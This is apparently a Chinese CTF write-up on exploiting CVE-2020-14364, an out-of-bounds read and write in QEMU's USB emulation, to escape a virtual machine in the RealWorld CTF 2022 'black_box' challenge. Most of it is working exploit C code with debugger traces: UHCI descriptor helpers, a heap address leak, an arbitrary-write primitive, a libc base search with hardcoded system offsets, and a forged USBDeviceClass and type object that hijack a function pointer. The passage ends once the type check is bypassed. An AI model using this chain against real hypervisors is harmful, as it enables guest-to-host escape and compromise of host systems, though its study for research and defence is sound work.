1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 static void usb_process_one(USBPacket *p) { USBDevice *dev = p->ep->dev; bool nak; /* * Handlers expect status to be initialized to USB_RET_SUCCESS, but it * can be USB_RET_NAK here from a previous usb_process_one() call, * or USB_RET_ASYNC from going through usb_queue_one(). */ nak = (p->status == USB_RET_NAK); p->status = USB_RET_SUCCESS; if (p->ep->nr == 0) { /* control pipe */ if (p->parameter) { do_parameter(dev, p); return; } switch (p->pid) { case USB_TOKEN_SETUP: do_token_setup(dev, p); break; case USB_TOKEN_IN: do_token_in(dev, p); break; case USB_TOKEN_OUT: do_token_out(dev, p); break; default: p->status = USB_RET_STALL; } } else { /* data pipe */ if (!nak) { usb_pcap_data(p, true); } usb_device_handle_data(dev, p); } }
其中注意到do_token_setup
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static void do_token_setup(USBDevice *s, USBPacket *p) { int request, value, index; if (p->iov.size != 8) { p->status = USB_RET_STALL; return; } usb_packet_copy(p, s->setup_buf, p->iov.size); s->setup_index = 0; p->actual_length = 0; s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; if (s->setup_len > sizeof(s->data_buf)) { fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n", s->setup_len, sizeof(s->data_buf)); p->status = USB_RET_STALL; return; } ..............
在检查出s->setup_len > sizeof(s->data_buf)
时,虽然报错并且返回,当并没有将s->setup_len
的值给清除,只要不对USB端口进行重置,这个值将一直保留,那么,这个s->setup_len
我们是可以控制为任意大小的。 那么在do_token_in
函数进行数据读取时,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 static void do_token_in(USBDevice *s, USBPacket *p) { int request, value, index; assert(p->ep->nr == 0); request = (s->setup_buf[0] << 8) | s->setup_buf[1]; value = (s->setup_buf[3] << 8) | s->setup_buf[2]; index = (s->setup_buf[5] << 8) | s->setup_buf[4]; switch(s->setup_state) { case SETUP_STATE_ACK: if (!(s->setup_buf[0] & USB_DIR_IN)) { usb_device_handle_control(s, p, request, value, index, s->setup_len, s->data_buf); if (p->status == USB_RET_ASYNC) { return; } s->setup_state = SETUP_STATE_IDLE; p->actual_length = 0; } break; case SETUP_STATE_DATA: if (s->setup_buf[0] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break; default: p->status = USB_RET_STALL; } }
其中看到
1 2 3 4 s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; }
每一次s->setup_index
累加上len,然后判断s->setup_index
是否超过s->setup_len
,由于s->setup_len
可以被我们控制,因此s->setup_index
也可以被我们控制。那么usb_packet_copy(p, s->data_buf + s->setup_index, len);
便可以进行越界读取,同理在do_token_out
函数中进行写数据时,可以越界写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 static void do_token_out(USBDevice *s, USBPacket *p) { assert(p->ep->nr == 0); switch(s->setup_state) { case SETUP_STATE_ACK: if (s->setup_buf[0] & USB_DIR_IN) { s->setup_state = SETUP_STATE_IDLE; /* transfer OK */ } else { /* ignore additional output */ } break; case SETUP_STATE_DATA: if (!(s->setup_buf[0] & USB_DIR_IN)) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break; ..........................
这就是CVE-2020-14364
其中len是有范围的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 static int uhci_handle_td(UHCIState *s, UHCIQueue *q, uint32_t qh_addr, UHCI_TD *td, uint32_t td_addr, uint32_t *int_mask) { .............. max_len = ((td->token >> 21) + 1) & 0x7ff; spd = (pid == USB_TOKEN_IN && (td->ctrl & TD_CTRL_SPD) != 0); usb_packet_setup(&async->packet, pid, q->ep, 0, td_addr, spd, (td->ctrl & TD_CTRL_IOC) != 0); if (max_len <= sizeof(async->static_buf)) { async->buf = async->static_buf; } else { async->buf = g_malloc(max_len); } usb_packet_addbuf(&async->packet, async->buf, max_len); switch(pid) { case USB_TOKEN_OUT: case USB_TOKEN_SETUP: pci_dma_read(&s->dev, td->buffer, async->buf, max_len); usb_handle_packet(q->ep->dev, &async->packet); if (async->packet.status == USB_RET_SUCCESS) { async->packet.actual_length = max_len; } .............
即UHCI协议一次性最多传输0x7ff
个字节。 思考如何利用这个漏洞,查看USBDevice
结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 /* definition of a USB device */ struct USBDevice { DeviceState qdev; USBPort *port; char *port_path; char *serial; void *opaque; uint32_t flags; /* Actual connected speed */ int speed; /* Supported speeds, not in info because it may be variable (hostdevs) */ int speedmask; uint8_t addr; char product_desc[32]; int auto_attach; bool attached; int32_t state; uint8_t setup_buf[8]; uint8_t data_buf[4096]; int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[USB_MAX_ENDPOINTS]; USBEndpoint ep_out[USB_MAX_ENDPOINTS]; QLIST_HEAD(, USBDescString) strings; const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */ const USBDescDevice *device; int configuration; int ninterfaces; int altsetting[USB_MAX_INTERFACES]; const USBDescConfig *config; const USBDescIface *ifaces[USB_MAX_INTERFACES]; };
位于data_buf
后方的变量有setup_len
和setup_index
,那么我们越界覆盖这两个变量,便可以构造任意地址写
,首先进行初始化
1 2 3 4 5 6 7 8 9 10 11 void init_state() { //初始化时,使用正常的长度 setup_buf[6] = 0xff; setup_buf[7] = 0x0; td->link = get_phys_addr(td); td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_SETUP | 0x7 << 21; td->buffer = get_phys_addr(setup_buf); puts("set_UHCIState"); set_UHCIState(); }
初始化的目的是当进入do_token_setup
函数时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 static void do_token_setup(USBDevice *s, USBPacket *p) { int request, value, index; if (p->iov.size != 8) { p->status = USB_RET_STALL; return; } usb_packet_copy(p, s->setup_buf, p->iov.size); s->setup_index = 0; p->actual_length = 0; s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; if (s->setup_len > sizeof(s->data_buf)) { fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n", s->setup_len, sizeof(s->data_buf)); p->status = USB_RET_STALL; return; } .............................. if (s->setup_len == 0) s->setup_state = SETUP_STATE_ACK; else s->setup_state = SETUP_STATE_DATA; } p->actual_length = 8; }
能够执行到代码s->setup_state = SETUP_STATE_DATA;
,为s->setup_state
赋值,因为这个s->setup_state
将会在do_token_in
和do_token_out
中作为switch的条件,s->setup_state
必须为SETUP_STATE_DATA
才可以进行数据的读写。
1 2 3 4 5 6 7 8 9 10 11 12 static void do_token_in(USBDevice *s, USBPacket *p) { .............................. switch(s->setup_state) { case SETUP_STATE_ACK: ................................ break; case SETUP_STATE_DATA: ................................. //vuln } }
初始化完成以后,就可以利用漏洞将s->setup_len
设置为任意值进行后续的越界。下面,我们写出set_length
,do_copy_read
和do_copy_write
三个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void set_length(uint16_t len, uint8_t option){ setup_buf[0] = USB_TOKEN_IN | option; //set the length setup_buf[6] = len & 0xff; setup_buf[7] = (len >> 8 ) & 0xff; td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_SETUP | 0x7 << 21; td->buffer = get_phys_addr(setup_buf); set_UHCIState(); } //do_token_in读取数据 void do_copy_read(uint16_t len){ //设置token进入do_token_in td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_IN | (len-1) << 21; //设置p->iov.size td->buffer = get_phys_addr(data_buf); set_UHCIState(); } //do_token_out写入数据 void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index, uint16_t len){ td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_OUT | (len-1) << 21; td->buffer = get_phys_addr(data_buf); set_UHCIState(); }
现在来完成我们的任意地址写,首先需要设置length,然后多次调用do_copy_write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static void do_token_out(USBDevice *s, USBPacket *p) { ........................ case SETUP_STATE_DATA: if (!(s->setup_buf[0] & USB_DIR_IN)) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } ........................ }
如上是do_token_out
的代码,由于s->setup_len
被我们设置为任意大小,因此if (s->setup_index >= s->setup_len)
条件可以被我们控制,这样s->setup_state
就不会被设置为SETUP_STATE_ACK
,那么我们就可以一直进行do_token_out
写数据,每次写,s->setup_index += len
,即s->setup_index
经过多次写后,可以累加到超过s->data_buf
的长度,那么当进行usb_packet_copy(p, s->data_buf + s->setup_index, len)
时,就发生了越界写。 从USBDevice
的结构体来看
1 2 3 4 5 6 7 8 9 struct USBDevice { ....................... uint8_t setup_buf[8]; uint8_t data_buf[4096]; int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; .......................
我们可以向后越界写,覆盖setup_len
和setup_index
,那么我们可以实现任意地址写,设置setup_index
为任意地址到data_buf
地址的偏移,设置setup_len
为要写的数据长度。 从上分析,为了实现任意地址写,首先需要知道data_buf
的地址。 与上同理,可以通过多次do_token_in
函数调用,让setup_index
越界后,泄露出data_buf
后方的数据。
1 2 3 4 5 6 7 8 9 10 11 12 struct USBDevice { ............. int32_t state; uint8_t setup_buf[8]; uint8_t data_buf[4096]; int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; .............
注意到data_buf
后方有一个USBEndpoint
结构体,改结构体定义如下
1 2 3 4 5 6 7 8 9 10 11 12 struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; QTAILQ_HEAD(, USBPacket) queue; };
里面有一个USBDevice *dev;
指向当前USBDevice
自身,那么我们泄露出USBDevice
的地址,再加上data_buf
在USBDevice
中的偏移,即可知道data_buf
的地址。泄露的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int main() { init(); //申请IO权限 iopl(3); init_state(); set_length(0x5000,USB_DIR_IN); for(int i = 0; i < 4; i++) do_copy_read(0x400); //set index 0x1000 do_copy_read(0x400); //read 0x400 to dmabuf struct USBDevice* usb_device_tmp = (struct USBDevice *)(data_buf + 0x4); struct USBDevice usb_device; memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice)); uint64_t dev_addr = (uint64_t)(usb_device.ep_ctl.dev); data_buf_addr = dev_addr + 0xdc - 0x8; //data_buf_addr = dev_addr + 0xdc; printf("USBDevice dev_addr: 0x%lx\n", dev_addr); printf("USBDevice->data_buf: 0x%lx\n", data_buf_addr); }
有了data_buf
的地址,接下来我们构造任意地址写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 //任意写 void arb_write_seq(uint64_t target_addr, uint64_t *payload,uint64_t len) { //初始化setup_state set_length(0x500, USB_DIR_OUT); unsigned long offset = target_addr - data_buf_addr; //设置越界长度 set_length(0x1010, USB_DIR_OUT); puts("set index"); getchar(); //将setup_index设置为0x1000 do_copy_write(0, 0, 0, 0x400); do_copy_write(0, 0, 0, 0x400); do_copy_write(0, 0, 0, 0x400); do_copy_write(0, 0, 0, 0x400); //覆盖setup_state、setup_len、setup_index do_copy_write(0, offset+len, offset-0x10, 0x11); memcpy(data_buf,payload,len); puts("wait"); getchar(); do_copy_write(0, 0xffff, 0,len); } int main() { init(); //申请IO权限 iopl(3); init_state(); set_length(0x5000,USB_DIR_IN); for(int i = 0; i < 4; i++) do_copy_read(0x400); //set index 0x1000 do_copy_read(0x400); //read 0x400 to dmabuf struct USBDevice* usb_device_tmp = (struct USBDevice *)(data_buf + 0x4); struct USBDevice usb_device; memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice)); uint64_t dev_addr = (uint64_t)(usb_device.ep_ctl.dev); data_buf_addr = dev_addr + 0xdc - 0x8; //data_buf_addr = dev_addr + 0xdc; printf("USBDevice dev_addr: 0x%lx\n", dev_addr); printf("USBDevice->data_buf: 0x%lx\n", data_buf_addr); uint64_t payload[0x100]; payload[0] = 0x6161616161616161; arb_write_seq(0x4141414141414141,payload,0x8); }
调试如下,经过前4次的do_copy_write(0, 0, 0, 0x400)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 In file: /home/sea/Desktop/qemu/hw/usb/core.c 241 if (len > p->iov.size) { 242 len = p->iov.size; 243 } 244 usb_packet_copy(p, s->data_buf + s->setup_index, len); 245 s->setup_index += len; ► 246 if (s->setup_index >= s->setup_len) { 247 s->setup_state = SETUP_STATE_ACK; 248 } 249 return; 250 } 251 s->setup_state = SETUP_STATE_IDLE; ──────────────────────────────────────────────────────────────────────────────────────────[ pwndbg> p/x s->setup_index $167 = 0x1000 pwndbg> p/x s->setup_len $168 = 0x1010
那么接下来的do_copy_write(0, offset+len, offset-0x10, 0x11);
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 In file: /home/sea/Desktop/qemu/hw/usb/core.c 239 if (!(s->setup_buf[0] & USB_DIR_IN)) { 240 int len = s->setup_len - s->setup_index; 241 if (len > p->iov.size) { 242 len = p->iov.size; 243 } ► 244 usb_packet_copy(p, s->data_buf + s->setup_index, len); 245 s->setup_index += len; 246 if (s->setup_index >= s->setup_len) { 247 s->setup_state = SETUP_STATE_ACK; 248 } 249 return; pwndbg> p/x s->setup_index $169 = 0x1000 pwndbg> p/x len $170 = 0x10
经过copy以后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 In file: /home/sea/Desktop/qemu/hw/usb/core.c 241 if (len > p->iov.size) { 242 len = p->iov.size; 243 } 244 usb_packet_copy(p, s->data_buf + s->setup_index, len); 245 s->setup_index += len; ► 246 if (s->setup_index >= s->setup_len) { 247 s->setup_state = SETUP_STATE_ACK; 248 } 249 return; 250 } 251 s->setup_state = SETUP_STATE_IDLE; pwndbg> p/x s->setup_index $172 = 0xaf362b0d
那么当do_copy_write(0, 0xffff, 0,len)
时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 In file: /home/sea/Desktop/qemu/hw/usb/core.c 239 if (!(s->setup_buf[0] & USB_DIR_IN)) { 240 int len = s->setup_len - s->setup_index; 241 if (len > p->iov.size) { 242 len = p->iov.size; 243 } ► 244 usb_packet_copy(p, s->data_buf + s->setup_index, len); 245 s->setup_index += len; 246 if (s->setup_index >= s->setup_len) { 247 s->setup_state = SETUP_STATE_ACK; 248 } 249 return; pwndbg> p/x s->data_buf + s->setup_index $173 = 0x55c941414141
可以发现,已经可以控制s->data_buf + s->setup_index
为任意地址,当这有个限制是,s->setup_index
是一个int
型数据,因此只能在离s->data_buf
距离int范围内进行任意写。
0x05 黑盒虚拟机逃逸 分析 在RealWord 2022国际赛上,我们拿到了black_box的二血,这题没有给题目附件,仅有一个远程nc环境,且提示本题是CVE-2020-14364
。 首先通过lscpi
1 2 3 4 5 6 7 8 / # lspci -k 00:01.2 Class 0c03: 8086:7020 uhci_hcd 00:01.0 Class 0601: 8086:7000 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 ata_piix 00:02.0 Class 0300: 1234:1111
发现远程使用的是uhci的USB控制器,之前在网上的相关exp使用的是ehci控制器,通过mmio
去进行设备的交互。而本题的难点一个就是它使用UHCI
控制器,该设备我们前面已经介绍了。前面我们已经实现了任意地址写,那么想要劫持程序流程,还需要知道一些地址。
在黑盒下,我们不考虑使用程序本身的函数地址,因为我们没有附件,我们可以考虑使用glibc的地址。
首先是因为USBDevice
这个结构体本身就是在堆中,通过malloc
申请的,那么我们利用其越界读,将堆中所有的数据全部打印出来,由于程序的复杂性,堆里必定会有unsorted bin
,那么其fd
和bk
泄漏后,我们就可以知道其使用的glibc版本。这是因为大多数情况下,glibc每一个版本其相关的函数、变量、符号地址会不一样,并且由于PIE的特性,函数、变量、符号的地址后12bit是不变的。泄露堆中的地址以后,我们查看其数据,经过多年的CTF经验,确定了远程glibc版本为2.32或者2.33,这两个版本的unsorted bin
的fd
和bk
一样,后12bit都是0xc00
,那么我们可以最后把这两个版本中的gadgets
都尝试一遍。
地址泄露 泄露地址的方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 uint64_t *tmp = (uint64_t *)(data_buf + 0x4); uint64_t libc_base = -1; uint64_t main_arena_xx_addr; //搜索main_arena指针 for (int j=0;j<100;j++) { for (int i=0;i<0x400/0x8;i++) { main_arena_xx_addr = tmp[i]; if ((main_arena_xx_addr >> 40) == 0x7f && ((main_arena_xx_addr & 0xfff) == 0xc00)) { //printf("heap size=0x%lx fd=0x%lx\n",tmp[i-1],main_arena_xx_addr); libc_base = main_arena_xx_addr - 0x1e0c00; goto outer; } } //write(1,data_buf,0x400); do_copy_read(0x400); } outer: if(libc_base == -1){ printf("Error,DO IT AGAIN\n"); return 0; } uint64_t system_addr = libc_base + 0x4fa60; printf("leak libc_base address : 0x%lx!\n", libc_base); printf("leak system_addr address: 0x%lx!\n", system_addr);
劫持USBDeviceClass对象 虽然构造了任意地址写,但是却无法构造出任意地址读,主要是因为UHCI
一次最多允许传输0x7ff
大小读数据
1 2 3 4 5 6 7 8 9 struct USBDevice { .................. uint8_t setup_buf[8]; uint8_t data_buf[4096]; int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; .................
而想要实现任意地址读,我们需要同时控制setup_buf
和后面的setup_state
、setup_len
、setup_index
,他们,由于setup_buf
与后面三个多跨度超过了0x7ff
,因此无法一次性进行控制,无法将当前的写数据模式转变为读数据模式。
由于已经有了glibc的一些地址,已经足够我们使用。稳定的劫持程序流程的方法是伪造USBDevice
结构体中的第一个成员,即USBDeviceClass *
,因为通过泄露远程环境中的内存数据,发现远程内存中数据复杂,不适合进行劫持。这个方法是如何找到的?首先我们利用gdb
调试任意一个qemu-system-x86_64
,并在do_token_in
下断点,然后执行测试程序,让qemu运行到断点的地方,此时将USBDevice
结构体中的第一个成员修改为0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 In file: /home/sea/Desktop/qemu/hw/usb/core.c 208 usb_packet_copy(p, s->data_buf + s->setup_index, len); 209 s->setup_index += len; 210 if (s->setup_index >= s->setup_len) { 211 s->setup_state = SETUP_STATE_ACK; 212 } ► 213 return; 214 } 215 s->setup_state = SETUP_STATE_IDLE; 216 p->status = USB_RET_STALL; 217 break; 218 pwndbg> p s $174 = (USBDevice *) 0x55dcfe269560 pwndbg> tel 0x55dcfe269560 00:0000│ 0x55dcfe269560 —▸ 0x55dcfd108800 —▸ 0x55dcfd0bc950 —▸ 0x55dcfd0bcad0 ◂— 'usb-storage' 01:0008│ 0x55dcfe269568 —▸ 0x7f20cb21e770 (g_free) ◂— endbr64 02:0010│ 0x55dcfe269570 —▸ 0x55dcfe233580 ◂— 0x20 /* ' ' */ 03:0018│ 0x55dcfe269578 ◂— 0x2 04:0020│ 0x55dcfe269580 —▸ 0x55dcfd1379e0 —▸ 0x55dcfd0ea070 —▸ 0x55dcfd0c2ad0 —▸ 0x55dcfd0c2c50 ◂— ... 05:0028│ 0x55dcfe269588 ◂— 0x0 06:0030│ 0x55dcfe269590 ◂— 0x1 07:0038│ 0x55dcfe269598 —▸ 0x55dcfd0c8ad0 ◂— 0x0 pwndbg> eq 0x55dcfe269560 0
然后继续运行,qemu必定会崩溃,gdb
会捕捉到崩溃发生的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> c Continuing. Thread 1 "qemu-system-x86" received signal SIGSEGV, Segmentation fault. 0x000055dcfbc82fe8 in usb_device_ep_stopped (dev=0x55dcfe269560, ep=0x55dcfe26a648) at hw/usb/bus.c:223 ......................... ──────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────── In file: /home/sea/Desktop/qemu/hw/usb/bus.c 218 } 219 220 void usb_device_ep_stopped(USBDevice *dev, USBEndpoint *ep) 221 { 222 USBDeviceClass *klass = USB_DEVICE_GET_CLASS(dev); ► 223 if (klass->ep_stopped) { 224 klass->ep_stopped(dev, ep); 225 } 226 }
从这就可以知道,当do_token_in
或者do_token_out
操作完成以后,最先要用到USBDeviceClass *
指针的地方是这里,并且可以看到后面还有一个函数指针调用。那么伪造一个USBDeviceClass *
是绝佳的选择。该结构体中,我们需要伪造的数据主要有以下
1 2 3 4 5 6 7 8 9 10 11 typedef struct USBDeviceClass { DeviceClass parent_class; ..................... /* * Called by the hcd to let the device know the queue for an endpoint * has been unlinked / stopped. Optional may be NULL. */ void (*ep_stopped)(USBDevice *dev, USBEndpoint *ep); ..................... } USBDeviceClass;
将ep_stopped
指向gadgets,进而可以做栈迁移。首先,我们将USBDeviceClass *
修改为一个任意的可读写的堆地址
1 2 3 uint64_t payload[0x400/0x8]; payload[0x0] = dev_addr + 0x10; arb_write_seq(dev_addr,payload,0x400);
然后在运行qemu,并执行程序,用gdb调试捕捉崩溃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 In file: /home/sea/Desktop/qemu/hw/usb/core.c 546 void usb_packet_set_state(USBPacket *p, USBPacketState state) 547 { 548 if (p->ep) { 549 USBDevice *dev = p->ep->dev; 550 USBBus *bus = usb_bus_from_device(dev); ► 551 trace_usb_packet_state_change(bus->busnr, dev->port->path, p->ep->nr, p, 552 usb_packet_state_name(p->state), 553 usb_packet_state_name(state)); 554 } else { .................... pwndbg> p bus $9 = (USBBus *) 0x0 pwndbg> p *dev $8 = { qdev = { parent_obj = { class = 0x5584542726c8, free = 0x0, properties = 0x0, ref = 0, parent = 0x0 }, id = 0x0, realized = false, pending_deleted_event = false, opts = 0x0, hotplugged = 0, parent_bus = 0x0, .................
其中usb_bus_from_device
代码如下
1 2 3 4 static inline USBBus *usb_bus_from_device(USBDevice *d) { return DO_UPCAST(USBBus, qbus, d->qdev.parent_bus); }
崩溃原因是dev->qdev->parent_bus
指针被我们覆盖了,同时dev->port
也被我们覆盖了,因此也需要重新伪造上去
1 2 3 4 5 6 uint64_t payload[0x400/0x8]; payload[0x0] = dev_addr + 0x10; //fake a USBDeviceClass at dev_addr + 0x10 payload[0x9] = dev_addr + 0x8; //bus payload[0xe] = dev_addr + 0x8; //port arb_write_seq(dev_addr,payload,0x400);
这次运行,崩溃在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 In file: /home/sea/Desktop/qemu/qom/object.c 700 const char *file, int line, 701 const char *func) 702 { 703 ObjectClass *ret; 704 ► 705 trace_object_class_dynamic_cast_assert(class ? class->type->name : "(null)", 706 typename, file, line, func); 707 708 #ifdef CONFIG_QOM_CAST_DEBUG 709 int i; 710 pwndbg> p class $20 = (ObjectClass *) 0x55bb52c756d0 pwndbg> p class->type $21 = (Type) 0x0
class->type也应该伪造为一个可读的地址
1 2 3 4 5 6 7 uint64_t payload[0x400/0x8]; payload[0x0] = dev_addr + 0x10; //fake a USBDeviceClass at dev_addr + 0x10 payload[0x2] = dev_addr + 0x8; //type payload[0x9] = dev_addr + 0x8; //bus payload[0xe] = dev_addr + 0x8; //port arb_write_seq(dev_addr,payload,0x400);
这一次,程序没有崩溃,而是抛出了异常
1 2 3 4 5 6 7 8 hw/usb/bus.c:222:usb_device_ep_stopped: Object 0x55d6988446d0 is not an instance of type usb-device pwndbg> k #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:49 #1 0x00007f5c775cf864 in __GI_abort () at abort.c:79 #2 0x000055d6961aeffb in object_class_dynamic_cast_assert (class=0x55d6988446d0, typename=0x55d69639e358 "usb-device", file=0x55d69639e2cf "hw/usb/bus.c", line=222, func=0x55d69639e890 <__func__.23> "usb_device_ep_stopped") at qom/object.c:727 #3 0x000055d6960f1480 in usb_device_ep_stopped (dev=0x55d6988446c0, ep=0x55d6988457a8) at hw/usb/bus.c:222 ..................... pwndbg>
并且从中可以看到,usb_device_ep_stopped
是已经执行到了,发生异常是因为object_class_dynamic_cast_assert
校验我们伪造的USBDeviceClass *
没有通过。同时,我们也得到一个很重要的信息hw/usb/bus.c:222
,在远程机器上,我们知道这个异常发生在bus.c
文件的222
行,那么意味着我们已经可以将远程qemu的版本缩小到一个范围。 其中object_class_dynamic_cast_assert
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ObjectClass *object_class_dynamic_cast_assert(ObjectClass *class, const char *typename, const char *file, int line, const char *func) { ObjectClass *ret; trace_object_class_dynamic_cast_assert(class ? class->type->name : "(null)", typename, file, line, func); #ifdef CONFIG_QOM_CAST_DEBUG int i; for (i = 0; class && i < OBJECT_CLASS_CAST_CACHE; i++) { if (atomic_read(&class->class_cast_cache[i]) == typename) { ret = class; goto out; } } #else if (!class || !class->interfaces) { return class; } #endif ret = object_class_dynamic_cast(class, typename); if (!ret && class) { fprintf(stderr, "%s:%d:%s: Object %p is not an instance of type %s\n", file, line, func, class, typename); abort(); } ...................
可以看到如果在class->class_cast_cache[i]
中存在typename
指针,则可以通过娇艳,经过调试,发现typename
是qemu-systen-x86_64
中的地址,显然我们不能用,因为我们没有远程的附件。于是继续向下看object_class_dynamic_cast
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ObjectClass *object_class_dynamic_cast(ObjectClass *class, const char *typename) { ObjectClass *ret = NULL; TypeImpl *target_type; TypeImpl *type; if (!class) { return NULL; } /* A simple fast path that can trigger a lot for leaf classes. */ type = class->type; if (type->name == typename) { return class; } target_type = type_get_by_name(typename); if (!target_type) { /* target class type unknown, so fail the cast */ return NULL; } if (type->class->interfaces && type_is_ancestor(target_type, type_interface)) { int found = 0; GSList *i; for (i = class->interfaces; i; i = i->next) { ObjectClass *target_class = i->data; if (type_is_ancestor(target_class->type, target_type)) { ret = target_class; found++; } } /* The match was ambiguous, don't allow a cast */ if (found > 1) { ret = NULL; } } else if (type_is_ancestor(type, target_type)) { ret = class; } return ret; }
这里,我们伪造type->class->interfaces
为0,于是进入分支else if (type_is_ancestor(type, target_type))
,只要type_is_ancestor
为真就可以通过校验 其中type_is_ancestor
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 static bool type_is_ancestor(TypeImpl *type, TypeImpl *target_type) { assert(target_type); /* Check if target_type is a direct ancestor of type */ while (type) { if (type == target_type) { return true; } type = type_get_parent(type); } return false; } static TypeImpl *type_get_parent(TypeImpl *type) { if (!type->parent_type && type->parent) { type->parent_type = type_get_by_name(type->parent); g_assert(type->parent_type != NULL); } return type->parent_type; } static TypeImpl *type_get_parent(TypeImpl *type) { if (!type->parent_type && type->parent) { type->parent_type = type_get_by_name(type->parent); g_assert(type->parent_type != NULL); } return type->parent_type; } static TypeImpl *type_get_by_name(const char *name) { if (name == NULL) { return NULL; } return type_table_lookup(name); }
通过分析,我们只需要伪造一个type->parent
字符串为对象的名字,比如usb-device
,同时伪造type->parent_type
为0,这样,就可以调用type_get_by_name
从全局对象hash表中查找对应的Type
返回。 于是,我们的伪造如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 uint64_t payload[0x400/0x8]; int type_base = 0x25; payload[0x0] = dev_addr + 0x10; //fake a USBDeviceClass at dev_addr + 0x10 payload[0x2] = dev_addr + type_base*0x8; //type payload[0x9] = dev_addr + 0x8; //bus payload[0xe] = dev_addr + 0x8; //port //fake a type payload[type_base] = 0; //name payload[type_base+0xb] = dev_addr + (type_base + 0xe) * 8; payload[type_base+0xc] = 0; //type->parent_type payload[type_base+0xd] = dev_addr + 0x8; //type->class char *p = "usb-device"; memcpy(&payload[type_base + 0xe],p,strlen(p)+1); arb_write_seq(dev_addr,payload,0x400);
在usb_device_ep_stopped
下断点进行调试,这次成功通过了校验
